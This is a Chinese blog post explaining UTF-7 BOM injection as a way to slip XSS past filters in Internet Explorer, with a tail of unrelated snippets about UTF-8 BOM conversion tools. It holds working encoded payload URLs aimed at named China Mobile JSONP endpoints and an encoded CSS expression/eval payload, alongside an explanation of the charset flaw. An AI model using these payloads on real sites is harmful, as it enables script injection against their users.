最近公司忽然爆出一些安全漏洞,且会员引起了金钱的损失。于是大家都忙于找自己的安全漏洞。由于之前接触最多的是CSRF/CSS sql注入之类的攻击,所以这些都是保证的,但这次从安全同学那里第一次听说利用UTF-7编码结合XSS去攻击的安全漏洞,搜索了个海枯石烂,总算搞懂了
网上找到的实例:
http://music.10086.cn/newweb/jsp/v3_search/getDefaultKeywords.jsp?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJwA
4ADAAcABlAG4AdABlAHMAdAAnACkAOwA8AC8AcwBjAHIAaQBwAHQAPgA8AC8AYgBvAGQAeQA
+ADwALwBoAHQAbQA+A-
http://www.js.10086.cn/activity/tranAppOper.jspx?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJw
BkAGEAbgBnAGQAYQBuAGcAJwApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAP
gA8AC8AaAB0AG0APg-
http://www.js.10086.cn/activity/getSdCode.jspx?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAJ
wBkAGEAbgBnAGQAYQBuAGcAJwApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHk
APgA8AC8AaAB0AG0APg-
貌似目前还没有web扫描器支持json注射的检查?
还有用于css的利用:
本机建一个a.css
+/v8
body{background:#FFFFFF;font-family:’+AHgAJwA7AHgAcwBzADoAZQB4AHAAcgBlAHMAcwBpAG8AbgAoACgAdwBpAG4AZABvAHcAL
gByAHIAcgA9AD0AMQApAD8AJwAnADoAZQB2AGEAbAAoACcAcgByAHIAPQAxADsAZQB2AGE
AbAAoAGEAbABlAHIAdAAoAC8ASABhAHAAcAB5ACAATgBlAHcAIABZAGUAYQByACEAIAB0A
GgAeAAgAG0AYQByAGkAbwAuAC8AKQApADsAJwApACkAOwBmAG8AbgB0AC0AZgBhAG0AaQ
BsAHkAOgAnA-’;}
同目录下再建一个test.htm
<STYLE>@import’a.css’;</STYLE>
用ie访问test.htm即可弹窗。通过以上实例来说,utf7-BOM string injection主要的意义在于bypass filter,比如上面那个a.css明文是:
body{
font-family:
‘x’;xss:expression((window.rrr==1)?”:eval(‘rrr=1;eval(alert(/Happy New Year XXX/));’));font-family:”;
}
因为对expression/eval/alert/javascript之类的关键词太过招摇,容易被过滤,所以hacker想到通过编码的方式来绕过诸如sanitation、filter的安全检测措施。utf-7 BOM 通过在文件的开头(这就是为什么添加空格后失效的原因)注明 +/v8 / +/v9 等关键字的方式告诉浏览器以何种character解析文件。
原理描述:
微软浏览器在解析网页等内容时,判断字符集的方式上存在问题,根据RFC标准上应该header头设置优先于本 地的meta和bom等其他方式识别出的字符集,但是微软ie会忽略掉其他设置的字符集而以Bom判断出的字符集优先;一般字符集都不会有什么问题,但是 因为utf7的特殊性,他的Bom为+/v8等,完全是合法字符,所以一旦使用utf-7字符集的时候就可能导致一些基于文本过滤的规则失效,譬如典型的 过滤<>”等等;由于bom的特殊性,他要求在文件的头几个字节,所以应用空间比较有限,目前被安全人员披露的独立存储css时导致的问题, 应用如百度空间等,以及被广泛使用的json,json的callback一般都是处于返回请求的头几个字节,json被广泛使用并且能够被控制 callback而没有白名单限制的不在少数,本来json也不会导致严重的安全问题,但是国内互联网厂商在技术严谨方面比较缺乏,http协议里的 Content-Type决定了ie处理内容的方式,本来按照规范,json的返回头应该设置为Content-Type: text/javascript;,这样ie在处理这个请求的时候就会知道这是个json请求,而不会去做其他的解析,但是在国内的厂商里头,大家基本无 视该选项,而一般都是默认设置为Content-Type: text/html,于是导致大量的xss。
具体参考
1 搜索Paper <<XSS Lightsabre techniques>> [最原始的引起注意的utf-7的利用]
2 http://seclists.org/fulldisclosure/2011/Feb/199 [utf-7 json注射利用]
3./Article/201102/83168.html [可以看到广大群众关于此问题的讨论]
4 http://www.worldlingo.com/ma/enwiki/zh_tw/Byte-order_mark [bom字符集]
5 /Article/201103/85662.html[最近那个BOM及浏览器charset识别]
分享到:
相关推荐
"批量utf文件转utf8-bom"这个主题指的是将一批以UTF编码的文件转换为带有BOM(Byte Order Mark)的UTF-8编码。BOM是一个特殊的字节序列,用于标识文件的编码类型,对于UTF-8编码,BOM的字节序列为0xEF, 0xBB, 0xBF。...
1. 将GB2312编码的字符串转换为UTF-8: ```csharp string gb2312String = "GBK编码的字符串"; byte[] gb2312Bytes = Encoding.GetEncoding("gb2312").GetBytes(gb2312String); string utf8String = Encoding.UTF8....
当上传文件存在中文时,修改上传文件编码为utf-8-bom
由于项目需要,需要字符串转为XML文件,直接用Fileopen进行EncodingUTF8编码后,发现文件实际为UTF-8 BOM编码 问度娘发现有相同问题,但解决方式是利用新建一个UTF-8的TXT文件后,再进行COPY加内容。感觉这样操作...
很多人喜欢用CString 或std:string,但是他们的缺点是不能完成汉字各种类型之间的转换,提供三种类库ascString,ucsString,utfString以及工具utfCount,utf8_ucs2_t,tcf8_ucs4_t类库,用于各种字符串之间的直接转换`...
在Java编程中,UTF-8编码是一个非常常见且广泛使用的字符编码格式,它能支持全球大部分语言的字符表示。然而,UTF-8有一个特殊特性,那就是它可以带有Byte Order Mark(BOM),这是一个特殊的字节序列,用于标识数据...
Forcibly saves all files in UTF-8 (No BOM) encoding. ForceUTF8 的核心功能在于其智能识别并转换字符串编码的能力。即使字符串中混杂着多种编码,\ForceUTF8\Encoding::toUTF8() 都能成功将其转换为统一的UTF-8...
7. **排序与比较**:按照Unicode规范对UTF-8字符串进行排序和比较,确保多语言数据的正确排序。 8. **边界分析**:确定字符串中字符的开始和结束位置,这对于处理文本块或进行文本分析非常有用。 9. **字符分类**...
Patchwork UTF-8是一个便携式C++类库,专门设计用于处理UTF-8编码的字符串。UTF-8是一种广泛使用的Unicode字符编码方案,能够表示Unicode标准中的所有字符,包括各种语言的字母、数字和符号。这个类库的出现是为了在...
在Java编程中,读取...总结来说,Java中读取服务器上的UTF-8 BOM文件,需要正确设置字符编码,检测并处理BOM,同时注意异常处理和资源释放。通过掌握这些知识点,开发者可以编写出稳定、高效的代码来处理这类问题。
4. **字符串处理技巧**:在易语言中,可以结合其他字符串处理函数,如`取字符串长度`、`截取字符串`等,配合`IsTextUTF8`来实现更复杂的文本操作,例如将非UTF-8字符串转换为UTF-8,或者从UTF-8字符串中提取特定部分...
UTF-8是目前最广泛使用的Unicode字符编码,BOM的存在是为了帮助解析器识别数据的编码方式。在某些编程语言或编辑器中,BOM可能是可选的,但在其他情况下,它可能会引起问题,例如在不支持BOM的程序中打开文件时可能...
然而,UTF-8编码有一种特殊的形式,即带有BOM(Byte Order Mark)的UTF-8,也被称为UTF-8 with BOM。BOM是一个特殊的字符序列,用于标识文件的编码方式,但在某些情况下,BOM可能会引起问题,例如在某些编程语言中...
UTF8BOM转换工具
- 将字符串从ANSI转换为Unicode或UTF-8 - 将Unicode(Little Endian或Big Endian)转换为其他编码 - 实现UTF-8与UTF-8+BOM之间的转换 - 提供批量转换文件或目录中所有文件的编码的功能 使用这样的类,你可以方便地...
在UTF-8编码中,BOM是一个由三个字节组成的序列:0xEF, 0xBB, 0xBF,它位于文件的开头,用来表明该文件采用的是UTF-8编码。在C#编程中,有时我们需要在写入UTF-8文件时添加这个BOM头,以确保其他程序或系统能正确...
本文将深入探讨如何在C++中处理UTF-8字符串,并介绍相关的关键概念和技术。 首先,C++标准库并没有直接支持UTF-8编码的内置类型,但是我们可以通过`std::string`类来间接地操作UTF-8字符串。`std::string`通常用来...
1.首先介绍一下本人应用场景,qt...3.此小工具主要针对utf-8编码文件,能够批量添加删除BOM,无识别转化ASIIC功能,添加BOM时,如果文件是utf-8(BOM),则跳过,删除亦然 4.当不选中添加删除时可用于文件数量统计。
strip-bom, 从字符串中带 utf 8 字节顺序标记( 物料清单) 带 bom 带 UTF-8 字节顺序标记从字符串中删除从维基百科:Unicode标准允许 UTF-8 中的BOM,但不要求它,也不推荐它的使用。 字节顺序在 UTF-8 中没有意义。...